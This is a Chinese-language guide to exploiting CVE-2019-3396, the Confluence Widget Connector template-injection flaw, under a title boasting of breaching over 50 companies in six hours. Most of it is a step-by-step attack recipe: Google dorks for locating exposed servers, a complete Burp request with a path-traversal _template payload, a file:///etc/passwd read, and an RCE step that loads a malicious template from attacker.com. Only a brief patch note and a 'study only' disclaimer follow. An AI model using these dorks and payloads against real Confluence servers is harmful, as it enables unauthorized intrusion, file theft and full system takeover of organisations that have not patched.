揭秘使用Confluence未授权RCE漏洞在6小时内渗透50+公司
字数 1080 2025-08-18 11:38:36
Confluence Widget Connector 未授权RCE漏洞分析与利用指南
漏洞概述
本漏洞(CVE-2019-3396)影响Confluence Server与Confluence Data Center中的Widget Connector组件,存在服务端模板注入(SSTI)漏洞,可导致目录遍历和远程代码执行(RCE)。攻击者无需认证即可利用此漏洞。
漏洞背景
- 漏洞发现时间:2019年4月披露
- 受影响版本:Confluence Server和Data Center多个版本
- 漏洞组件:Widget Connector宏
- 漏洞类型:服务端模板注入(SSTI)导致RCE
技术细节
Widget Connector功能
Widget Connector宏用于将外部内容(如YouTube视频、Flickr照片等)直接嵌入到Confluence页面中。支持的平台包括:
- YouTube
- Vimeo
- MySpace Video
- Flickr
- Slide Rocket
- Google Calendar等
漏洞根源
Widget Connector在处理_template参数时未进行充分过滤,导致攻击者可以控制Velocity模板路径:
public class FriendFeedRenderer implements WidgetRenderer {
public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm");
return this.velocityRenderService.render(getEmbedUrl(url), params);
}
}
攻击者可以注入自定义的_template参数,实现:
- 目录遍历(读取任意文件)
- 服务端模板注入
- 最终导致远程代码执行
漏洞复现步骤
1. 识别目标
使用以下Google Dork语法寻找潜在目标:
intitle:dashboard-confluence
inurl:http://confluence. login.action
inurl:https://wiki. .com/confluence/
allinurl:/confluence/login.action?
"/spacedirectory/view.action"
"/pages/viewpage.action?"
"/pages/releaseview.action?"
"aboutconfluencepage.action"
2. 构造攻击请求
使用Burp Suite捕获Confluence页面请求并发送到Repeater模块,修改为以下格式:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: confluence.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en-GB;q=0.8,ach;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://confluence.victim.com/
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Upgrade-Insecure-Requests: 1
Content-Length: 163
Connection: close
{
"contentId":"65601",
"macro":{
"name":"widget",
"params":{
"url":"https://www.youtube.com/watch?v=2aK8hy50fS4",
"width":"1000",
"height":"1000",
"_template":"../web.xml"
},
"body":""
}
}
关键点:
- 必须包含
Referer头以避免XSRF检查失败 _template参数用于路径遍历(可替换为其他文件路径)- 可升级为RCE payload
3. 漏洞利用升级
文件读取
将_template参数值改为目标系统文件路径:
"_template":"file:///etc/passwd"
远程代码执行
构造Velocity模板注入payload实现RCE,例如:
"_template":"https://attacker.com/malicious.vm"
修复方案
Atlassian官方修复方案:
- 在渲染HTML前调用
doSanitizeParameters方法 - 此方法会删除参数中的
_template字段 - 建议用户升级到修复版本
漏洞影响
- 攻击者可在6小时内渗透50+公司
- 无需认证即可利用
- 可导致敏感信息泄露和系统完全控制
参考资源
注意:本资料仅供学习研究使用,切勿用于非法用途。